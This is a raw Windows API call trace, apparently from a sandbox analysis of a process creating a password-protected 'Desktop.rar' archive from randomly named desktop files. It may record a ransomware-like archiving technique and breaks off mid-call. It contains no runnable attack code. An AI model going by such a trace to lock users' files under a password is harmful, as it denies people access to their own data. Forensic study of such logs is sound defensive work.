0x2b4 [0059.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xa94) returned 0x2b8 [0059.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xaa4) returned 0x2bc [0059.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xab4) returned 0x2c0 [0059.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xac4) returned 0x2c4 [0059.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xad4) returned 0x2c8 [0059.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xae4) returned 0x2cc [0059.049] ResetEvent (hEvent=0x190) returned 1 [0059.049] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.049] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.108] ResetEvent (hEvent=0x190) returned 1 [0059.108] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.108] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.113] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 1 [0059.113] GetMessageW (in: lpMsg=0x1bd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd300) returned 1 [0059.113] GetFocus () returned 0x10232 [0059.113] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd300) returned 1 [0059.113] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.113] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x1a [0059.113] SetFilePointer (in: hFile=0x198, lDistanceToMove=101, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x7f [0059.114] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0xc38) returned 0x3c69660 [0059.114] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0059.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.136] CryptProtectMemory (in: pDataIn=0x3551b6, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x3551b6) returned 1 [0059.137] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0xd2e0, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0xd2e0, lpOverlapped=0x0) returned 1 [0059.138] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 1 [0059.138] GetMessageW (in: lpMsg=0x1bd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd300) returned 1 [0059.138] GetFocus () returned 0x10232 [0059.138] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd300) returned 1 [0059.138] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.138] SetFilePointer (in: hFile=0x198, lDistanceToMove=26, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x1a [0059.138] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x1a [0059.279] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49010 [0059.279] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49040 [0059.279] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49040, Size=0x48) returned 0x34e340 [0059.279] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39450 [0059.279] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49040 [0059.279] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49040, Size=0x48) returned 0x34e390 [0059.279] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39450 | out: hHeap=0x290000) returned 1 [0059.279] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.279] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49040 [0059.279] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49070 [0059.279] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49070 | out: hHeap=0x290000) returned 1 [0059.279] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49040 | out: hHeap=0x290000) returned 1 [0059.279] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49010, Size=0x48) returned 0x34e340 [0059.279] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0059.279] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x65, lpOverlapped=0x0) returned 1 [0059.279] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49010 [0059.279] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x65) returned 0x351360 [0059.279] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.279] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.279] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0xd35f [0059.279] CloseHandle (hObject=0x1b0) returned 1 [0059.280] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.280] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.280] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.280] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.280] FindFirstFileW (in: lpFileName="4XGIZDiLaaAzBLi8uMJ.gif", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0059.280] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0059.280] CreateFileW (lpFileName="4XGIZDiLaaAzBLi8uMJ.gif" (normalized: "c:\\users\\whuoxysd\\desktop\\4xgizdilaaazbli8umj.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.280] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.280] GetTickCount () returned 0xa652e3 [0059.280] GetLastError () returned 0x0 [0059.280] SetLastError (dwErrCode=0x0) [0059.280] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0059.280] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0059.280] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbdb0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0059.280] SetWindowTextW (hWnd=0x10218, lpString=" 0%") returned 1 [0059.281] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0059.281] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0059.281] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0059.281] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.281] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0059.281] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="0SoXJeVDMd8XB.wav") returned 17 [0059.281] SetWindowTextW (hWnd=0x10216, lpString="4XGIZDiLaaAzBLi8uMJ.gif") returned 1 [0059.282] GetTickCount () returned 0xa652e3 [0059.282] UpdateWindow (hWnd=0x1020e) returned 1 [0059.282] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.282] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0059.282] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0059.282] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0059.282] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x14, wMilliseconds=0x3cc)) [0059.282] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0059.282] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=13462281104) returned 1 [0059.282] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x87bd, lpOverlapped=0x0) returned 1 [0059.283] ReadFile (in: hFile=0x1b0, lpBuffer=0x37987fd, nNumberOfBytesToRead=0xf7843, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x37987fd*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0059.283] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.283] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.283] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49040 [0059.283] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49070 [0059.283] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49070, Size=0x48) returned 0x34e390 [0059.283] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.283] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49070 [0059.283] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49070, Size=0x48) returned 0x34e340 [0059.283] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.283] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.283] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49070 [0059.283] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490a0 [0059.283] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c490a0 | out: hHeap=0x290000) returned 1 [0059.283] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49070 | out: hHeap=0x290000) returned 1 [0059.283] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49040, Size=0x48) returned 0x34e390 [0059.283] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0059.284] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.284] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.285] GetTickCount () returned 0xa652e3 [0059.285] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=13462564984) returned 1 [0059.285] GetTickCount () returned 0xa652e3 [0059.285] GetTickCount () returned 0xa652e3 [0059.285] GetTickCount () returned 0xa652e3 [0059.285] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1bd108 | out: ppv=0x1bd108*=0x3c49040) returned 0x0 [0059.285] TaskbarList:ITaskbarList3:SetProgressState (This=0x3c49040, hwnd=0x1020e, tbpFlags=2) returned 0x0 [0059.286] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3c49040, hwnd=0x1020e, ullCompleted=0x15a00, ullTotal=0x954fe3) returned 0x0 [0059.286] TaskbarList:IUnknown:Release (This=0x3c49040) returned 0x0 [0059.286] GetLastError () returned 0x36b7 [0059.286] SetLastError (dwErrCode=0x36b7) [0059.286] GetDlgItem (hDlg=0x1020e, nIDDlgItem=157) returned 0x10230 [0059.286] GetDlgItem (hDlg=0x1020e, nIDDlgItem=152) returned 0x1022e [0059.286] GetWindowTextW (in: hWnd=0x1022e, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0059.286] GetLastError () returned 0x36b7 [0059.286] SetLastError (dwErrCode=0x36b7) [0059.286] GetDlgItem (hDlg=0x1020e, nIDDlgItem=164) returned 0x1022a [0059.286] GetWindowTextW (in: hWnd=0x1022a, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0059.286] SetWindowTextW (hWnd=0x1022a, lpString=" 60%") returned 1 [0059.286] SendMessageW (hWnd=0x10230, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0059.287] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.287] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.287] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.287] ResetEvent (hEvent=0x1a4) returned 1 [0059.287] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.289] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.289] ResetEvent (hEvent=0x1a4) returned 1 [0059.289] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.290] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.290] GetTickCount () returned 0xa652e3 [0059.290] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=13463057023) returned 1 [0059.290] GetTickCount () returned 0xa652e3 [0059.290] GetTickCount () returned 0xa652e3 [0059.290] GetTickCount () returned 0xa652e3 [0059.290] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0059.290] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0059.290] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.290] ResetEvent (hEvent=0x190) returned 1 [0059.290] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.291] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.291] ResetEvent (hEvent=0x190) returned 1 [0059.291] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.292] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.292] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.292] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.292] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0xd35f [0059.292] SetFilePointer (in: hFile=0x198, lDistanceToMove=107, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0xd3ca [0059.292] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0059.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.293] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0059.293] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0059.293] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0059.293] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x8840, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0x8840, lpOverlapped=0x0) returned 1 [0059.293] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.293] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.293] SetFilePointer (in: hFile=0x198, lDistanceToMove=54111, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0xd35f [0059.293] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0xd35f [0059.294] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49040 [0059.294] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49070 [0059.294] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49070, Size=0x48) returned 0x34e340 [0059.294] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.294] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49070 [0059.294] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49070, Size=0x48) returned 0x34e390 [0059.294] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.294] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.294] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49070 [0059.294] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490a0 [0059.294] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c490a0 | out: hHeap=0x290000) returned 1 [0059.294] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49070 | out: hHeap=0x290000) returned 1 [0059.294] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49040, Size=0x48) returned 0x34e340 [0059.294] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0059.294] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x6b, lpOverlapped=0x0) returned 1 [0059.294] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49040 [0059.294] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x6b) returned 0x299dc40 [0059.294] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.294] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.294] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x15c0a [0059.294] CloseHandle (hObject=0x1b0) returned 1 [0059.294] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.294] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.294] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.294] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.294] FindFirstFileW (in: lpFileName="8ZCScAn2t4O2J7-d.doc", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0059.294] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0059.295] CreateFileW (lpFileName="8ZCScAn2t4O2J7-d.doc" (normalized: "c:\\users\\whuoxysd\\desktop\\8zcscan2t4o2j7-d.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.295] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.295] GetTickCount () returned 0xa652f3 [0059.295] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0059.295] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0059.295] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.295] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0059.295] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="4XGIZDiLaaAzBLi8uMJ.gif") returned 23 [0059.295] SetWindowTextW (hWnd=0x10216, lpString="8ZCScAn2t4O2J7-d.doc") returned 1 [0059.295] GetTickCount () returned 0xa652f3 [0059.295] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.295] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0059.296] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0059.296] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0059.296] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x14, wMilliseconds=0x3dc)) [0059.296] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0059.296] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=13463617651) returned 1 [0059.296] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x17d7, lpOverlapped=0x0) returned 1 [0059.296] ReadFile (in: hFile=0x1b0, lpBuffer=0x3791817, nNumberOfBytesToRead=0xfe829, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3791817*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0059.296] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49070 [0059.296] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490a0 [0059.296] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c490a0, Size=0x48) returned 0x34e390 [0059.296] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.296] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490a0 [0059.297] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c490a0, Size=0x48) returned 0x34e340 [0059.297] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.297] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.297] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490a0 [0059.297] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c490d0 [0059.297] HeapFree (in: hHeap=0x290000, 